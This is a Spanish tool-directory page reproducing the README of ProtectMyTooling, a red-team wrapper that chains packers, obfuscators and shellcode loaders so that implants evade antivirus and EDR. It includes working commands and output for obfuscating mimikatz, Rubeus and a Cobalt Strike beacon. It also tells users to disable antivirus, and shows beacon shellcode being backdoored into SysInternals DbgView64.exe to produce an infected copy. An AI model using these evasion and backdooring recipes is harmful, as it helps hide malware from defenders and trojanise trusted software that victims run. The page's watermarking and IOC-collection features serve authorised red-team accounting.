Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ProtectMyTooling — Envoltorio Multi-Packer que nos permite encadenar varios empaquetadores, ofuscadores y otras armas orientadas al Red Team. Incluye marcado de artefactos, recolección de IOCs y backdooring de PE. Le introduces tu implante, hace muchas cosas sigilosas y escupe un ejecutable ofuscado. | Kitploit
Herramientas/GitHubGitHub/mgeeky/protectmytooling
Gestión de Indicadores de Compromiso (IOC)Frameworks de Pruebas de PenetraciónFrameworks de ExploitsGeneración de PayloadsAnálisis de MalwareAnálisis de BinariosRed TeamingDesarrollo de Payloads
GitHubmgeeky/protectmytooling

ProtectMyTooling

Ver Repositorio
1.1k1486hace 10 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Sitio web

Acerca de

Envoltorio Multi-Packer que nos permite encadenar varios empaquetadores, ofuscadores y otras armas orientadas al Red Team. Incluye marcado de artefactos, recolección de IOCs y backdooring de PE. Le introduces tu implante, hace muchas cosas sigilosas y escupe un ejecutable ofuscado.

Compartir

1.png

No Detectes Herramientas - Detecta Técnicas

La razón detrás de publicar este software se describió en una publicación de blog adjunta:

  • ProtectMyTooling - No detectes herramientas, detecta técnicas

Introducción

Script que envuelve una multitud de empaquetadores, protectores, ofuscadores, cargadores de shellcode, codificadores, generadores para producir complejos implantes protegidos de Red Team. Tu compañero perfecto en el pipeline de CI/CD de Desarrollo de Malware, ayudando a marcar tus artefactos, recolectar IOCs, backdoor y más.

ProtectMyToolingGUI.py

3.png

Con ProtectMyTooling puedes ofuscar rápidamente tus binarios sin tener que preocuparte por hacer clic a través de todos los diálogos, interfaces, menús, crear proyectos para ofuscar un solo binario, hacer clic en todas las opciones disponibles y perder el tiempo con todas esas tonterías. Te lleva directamente al punto - ofuscar tu herramienta.

El objetivo es ofrecer la interfaz más conveniente posible y permitir aprovechar una cadena en serie de múltiples empaquetadores combinados en un solo binario.

Así es - podemos lanzar ProtectMyTooling con varios empaquetadores a la vez:``` C:> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe

root@kitploit:~
The above example will firstly pass `mimikatz.exe` to the Hyperion for obfuscation, and then the result will be provided to UPX for compression. Resulting with `UPX(Hyperion(file))`


## Características

- Soporta múltiples empaquetadores de PE diferentes, ofuscadores .NET, cargadores/constructores de shellcode
- Permite encadenar empaquetadores donde la salida de un empaquetador se pasa al siguiente: `callobf,hyperion,upx` producirá el artefacto `UPX(Hyperion(CallObf(file)))`
- Recopila IOCs en cada paso de ofuscación para que las solicitudes de auditoría y del equipo azul puedan ser satisfechas
- Ofrece funcionalidad para inyectar marcas de agua personalizadas en los artefactos PE resultantes: en el Stub DOS, Checksum, como una sección PE independiente, en el Overlay del archivo
- Incluye un script de agente de Cobalt Strike práctico que ofrece los comandos `protected-upload` y `protected-execute-assembly`
- Uso sencillo desde la línea de comandos


## Instalación

**Esta herramienta fue diseñada para funcionar en Windows, ya que la mayoría de los empaquetadores tienen como objetivo nativo esa plataforma.**

Algunas características pueden funcionar en Linux sin problemas, sin embargo, ese soporte no está completamente probado; por favor, reporta errores y problemas.

1. Primero, **desactiva tu AV** y agrega el directorio `contrib` a las exclusiones. Ese directorio contiene ofuscadores, protectores que serán detectados por el AV y eliminados.
2. Luego clona este repositorio```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
  1. La instalación real es sencilla:

Windows``` PS C:\ProtectMyTooling> .\install.ps1

root@kitploit:~
**Linux**```
bash# ./install.sh

Trucos

Para que el empaquetador ScareCrow funcione en Windows 10, es necesario tener instalado WSL y que bash.exe esté disponible (en %PATH%). Luego, en WSL se necesita tener golang instalado en una versión al menos 1.16:``` cmd> bash bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y

root@kitploit:~
## Configuración

Para conectar los ofuscadores compatibles, cambiar las opciones predeterminadas o apuntar **ProtectMyTooling** a la ruta de su ejecutable de ofuscación, deberá ajustar el archivo de configuración `config\ProtectMyTooling.yaml`.

También existe el archivo `config\sample-full-config.yaml` que contiene todas las opciones disponibles para todos los empaquetadores compatibles, sirviendo como punto de referencia.

## Recordatorio amigable

- Si su binario producido se bloquea o no se ejecuta como se espera, intente usar una cadena de empaquetadores diferente.
- Los empaquetadores no garantizan la estabilidad de los binarios producidos, por lo tanto, ProtectMyTooling tampoco puede hacerlo.
- Al encadenar, combine cuidadosamente los formatos de carga útil de salida->entrada según lo que espera el empaquetador consecutivo.

---

## Uso

Antes del primer uso de `ProtectMyTooling`, es esencial ajustar el archivo de configuración YAML del programa `ProtectMyTooling.yaml`. 
El orden de procesamiento de parámetros es el siguiente:

- Primero se utilizan los parámetros predeterminados
- Luego son sobrescritos por los valores provenientes del YAML
- Finalmente, lo que se proporcione en la línea de comandos sobrescribirá los valores correspondientes

Allí, se deben establecer las rutas y opciones de los empaquetadores compatibles para habilitarlos.

### Escenario 1: Ofuscación simple con ConfuserEx

El uso es muy simple, todo lo que se necesita es pasar el nombre del ofuscador a elegir, la ruta del archivo de entrada y de salida:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

Escenario 2: Ofuscación simple con ConfuserEx seguida de prueba de artefacto

También se puede ofuscar el archivo e inmediatamente intentar lanzarlo (también con parámetros opcionales proporcionados) para asegurarse de que funciona correctamente con las opciones -r --cmdline CMDLINE:``` C:> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar"

root@kitploit:~
[...]

[.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx()...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(): 758272, ratio: 181.72%

Running application to test it...


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.0.0

[*] Action: Calculate Password Hash(es)

[] Input password : foobar [] rc4_hmac : BAAC3929FABC9E6DCD32421BA94A84D4

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

root@kitploit:~
### Escenario 3: Ofuscación compleja de malware con marca de agua y recopilación de IOCs

El caso de uso a continuación toma `beacon.exe` como entrada y lo alimenta consecutivamente en los empaquetadores `CallObf` -> `UPX` -> `Hyperion`.

Luego inyectará la marca de agua especificada `fooobar` en el Stub DOS del artefacto de salida final generado, así como modificará la suma de verificación de ese artefacto con el valor `0xAABBCCDD`.

Finalmente, ProtectMyTooling capturará todos los IOCs (md5, sha1, sha256, imphash y otros metadatos) y los guardará en un archivo CSV auxiliar. Ese archivo se puede usar para la coincidencia de IOCs a medida que se desarrolla el compromiso.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

El archivo CSV de evidencia de IOCs producido tendrá el siguiente aspecto:```csv timestamp,filename,author,context,comment,md5,sha1,sha256,imphash 2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c 2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43 2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf()),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf())),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d

root@kitploit:~
## Packers compatibles

`ProtectMyTooling` fue diseñado para soportar no solo ofuscadores/empacadores, sino también todo tipo de constructores/generadores/cargadores de shellcode utilizables desde la línea de comandos.

Actualmente, el programa soporta varios empacadores/ofuscadores comerciales y de código abierto. Los de código abierto están incluidos en el proyecto.
Los comerciales requerirán que el usuario adquiera el producto y configure su ubicación en el archivo `ProtectMyTooling.yaml` para indicar al script dónde encontrarlos.

1. [`Amber`](https://github.com/EgeBalci/amber) - Empacador PE reflectante que toma EXE/DLL como entrada y produce EXE/PIC shellcode
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Un empacador PE altamente capaz
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Un ofuscador de consola para ensamblados .NET por Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Ofusca APIs específicas de Windows con diferentes APIs.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Popular ofuscador .NET, bifurcado de [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Popular cargador PE que toma EXE/DLL/.NET como entrada y produce un shellcode PIC
7. [`Enigma`](https://enigmaprotector.com/) - Un potente sistema diseñado para la protección integral de archivos ejecutables
8. [`Freeze`](https://github.com/optiv/Freeze) - Toma un archivo EXE/DLL de entrada y produce uno de salida con certificado clonado, IoCs específicos de Golang eliminados y tamaño inflado. Por Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - Cifrador en tiempo de ejecución para ejecutables portables de 32 y 64 bits. Es una implementación de referencia basada en el artículo "Hyperion: Implementation of a PE-Crypter"
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - Combina seguridad de licencia sólida, funcionalidad/esquema de licencias altamente adaptable con protección confiable de ensamblados
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Ofusca scripts de PowerShell con `Invoke-Obfuscation` (por Daniell Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Un ofuscador .NET gratuito y de código abierto más avanzado que utiliza dnlib, por AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Toma un archivo EXE/DLL de entrada y produce uno de salida con certificado clonado, IoCs específicos de Golang eliminados y tamaño inflado. Por Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Compresor MPRESS por Vitaly Evseenko. Toma EXE/DLL/.NET/MAC-DARWIN (x86/x64) de entrada y lo comprime.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Sistema de protección de código .NET sin igual que detiene por completo cualquier intento de descompilar su código
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - Un empacador de EXE (también llamado compresor de ejecutables), protector de contraseñas de aplicaciones y enlazador de DLL virtual para aplicaciones .NET de Windows y Linux.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Genera un cargador Nim que ejecuta .NET, PE o shellcode sin formato de entrada. Creado por [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Toma shellcode o ejecutable .NET como entrada, produce un cargador EXE o DLL. Presentado por Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Toma PE/Shellcode/.NET ejecutable y genera un cargador robusto Nim+Syscalls EXE/DLL. Código de patrocinador creado por [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - Envoltorio alrededor del `Packer64` de John Adams
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Convierte PE en shellcode. Por su servidor [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Una herramienta de codificación de múltiples pasadas y evasión de AV con omisión de sandbox heurístico
23. [`peresed`](https://github.com/avast/pe_tools) - Utiliza _"peresed"_ de **avast/pe_tools** para eliminar todos los recursos PE existentes y la firma _(piensa en el icono de Mimikatz)._
24. [`peunion`](https://bytecode77.com/pe-union) - Cifra ejecutables (x86 o .NET x86/x64), que se descifran en tiempo de ejecución y se ejecutan en memoria
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - Cargador de shellcode x64 que evade EDR y produce artefactos cargadores DLL/CPL/XLL/JScript/HTA
26. [`sgn`](https://github.com/EgeBalci/sgn) - Codificador Shikata ga nai (仕方がない) portado a Go con varias mejoras. Toma shellcode, produce shellcode codificado
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - Ofuscador que ayuda a proteger su aplicación contra ingeniería inversa o modificación, dificultando que un tercero acceda a su código fuente
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Convierte DLL en shellcode independiente de la posición. Creado por: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Sistema avanzado de protección de software para Windows
30. [`UPX`](https://upx.github.io/) - Un empacador de ejecutables gratuito, portátil, ampliable y de alto rendimiento para varios formatos de ejecutables.
31. [`VMProtect`](https://vmpsoft.com/) - Protege el código ejecutándolo en una máquina virtual con arquitectura no estándar que hace extremadamente difícil analizar y crackear el software

Puede listar rápidamente los packers compatibles usando la opción `-L` (las columnas de la tabla se eligen según el ancho del Terminal; cuanto más ancho, más información se revela):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Arriba están los packers compatibles, pero eso no significa que los tengas configurados y listos para usar. Para preparar su uso, primero debes proporcionar los binarios necesarios al directorio contrib y luego configurar tu archivo YAML en consecuencia.

RedWatermarker - Marcado de agua de artefactos integrado

Marcado de agua de artefactos y recopilación de IOC

Este programa está diseñado para Red Teams profesionales y es perfecto para usarse en un pipeline típico de CI/CD de desarrollo de implantes. Como red teamer, siempre se espera que entregue una lista de calidad de IOC que coincidan con todos mis implantes, además de que considero esencial marcar con agua todos mis implantes para fines de contabilidad, atribución y trazabilidad.

Para cumplir con estos requisitos, ProtectMyTooling ofrece soporte básico para ellos.

Marcado de agua de artefactos

ProtectMyTooling puede aplicar marcas de agua después de las rondas de ofuscación simplemente usando la opción --watermark:``` py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG

root@kitploit:~
También existe un enfoque independiente, incluido en el script `RedWatermarker.py`.

Toma un artefacto ejecutable como entrada y acepta algunos parámetros que indican dónde inyectar una marca de agua y qué valor se debe insertar.

Un ejemplo de ejecución establecerá el Checksum PE en 0xAABBCCDD, insertará `foooobar` en el DOS Stub del archivo PE (bytes que contienen _This program cannot be run..._), añadirá `bazbazbaz` al overlay del archivo y luego creará una nueva sección PE llamada `.coco`, la agregará al final del archivo y rellenará esa sección con un marcador predefinido.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

Uso completo del watermarker:``` cmd> py RedWatermarker.py --help

root@kitploit:~
                  ;
                  ED.
                 ,E#Wi

j. f#iE###G. EW, .E#t E#fD#W; E##j i#W, E#t t##L E###D. L#D. E#t .E#K, E#jG#W; :K#Wfff; E#t j##f E#t t##f i##WLLLLtE#t :E#K: E#t :K#E: .E#L E#t t##L E#KDDDD###i f#E: E#t .D#W; ,; G: ,; E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j. E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW, DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D. EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W; E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E: E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,, E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W: EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK: ; ;@ ,,, .,, : j ,,, .,,

root@kitploit:~
Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

usage: RedWatermarker.py [options]

options: -h, --help show this help message and exit

Required arguments: infile Input implant file

Optional arguments: -C, --check Do not actually inject watermark. Check input file if it contains specified watermarks. -v, --verbose Verbose mode. -d, --debug Debug mode. -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile.

PE Executables Watermarking: -t STR, --dos-stub STR Insert watermark into PE DOS Stub (This program cannot be run...). -c NUM, --checksum NUM Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value. -e STR, --overlay STR Append watermark to the file's Overlay (at the end of the file). -s NAME,STR, --section NAME,STR Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.

root@kitploit:~
Actualmente solo se admite la marca de agua de archivos PE, pero en el futuro se agregarán documentos de Office y otros formatos también.

### Recopilación de IOCs

Los IOCs pueden recopilarse simplemente usando la opción `-i` en la ejecución de `ProtectMyTooling`.

Se recopilan en las siguientes fases:

- en el archivo de entrada
- después de cada ronda de ofuscación en un archivo intermedio
- en el archivo de salida final

Contendrán los siguientes campos guardados en forma de archivo CSV:

- `timestamp`
- `filename`
- `author` - formado como `username@hostname`
- `context` - indica si un registro apunta a un archivo de entrada, salida o intermedio
- `comment` - valor ajustado por el usuario mediante la opción `-I value`
- `md5`
- `sha1`
- `sha256`
- `imphash` - Hash de importaciones PE, si está disponible
- (TODO) `typeref_hash` - Hash de TypeRef de .NET, si está disponible

El resultado será un archivo CSV llamado `outfile-ioc.csv` almacenado junto al artefacto de salida generado. Ese archivo se escribe en modo APPEND, lo que significa que recibirá todos los IOCs posteriores.

# RedBackdoorer - Backdooring de PE integrado

`ProtectMyTooling` utiliza mi propio script `RedBackdoorer.py` que proporciona algunos métodos para realizar backdooring en ejecutables PE. El soporte viene como un packer dedicado llamado `backdoor`. Ejemplo de uso:

**Toma shellcode de Cobalt Strike como entrada y lo codifica con SGN (Shikata Ga-Nai), luego backdoora SysInternals DbgView64.exe y produce un cargador reflectivo Amber EXE**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

Uso completo de RedBackdoorer:``` cmd> py RedBackdoorer.py --help

root@kitploit:~
 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
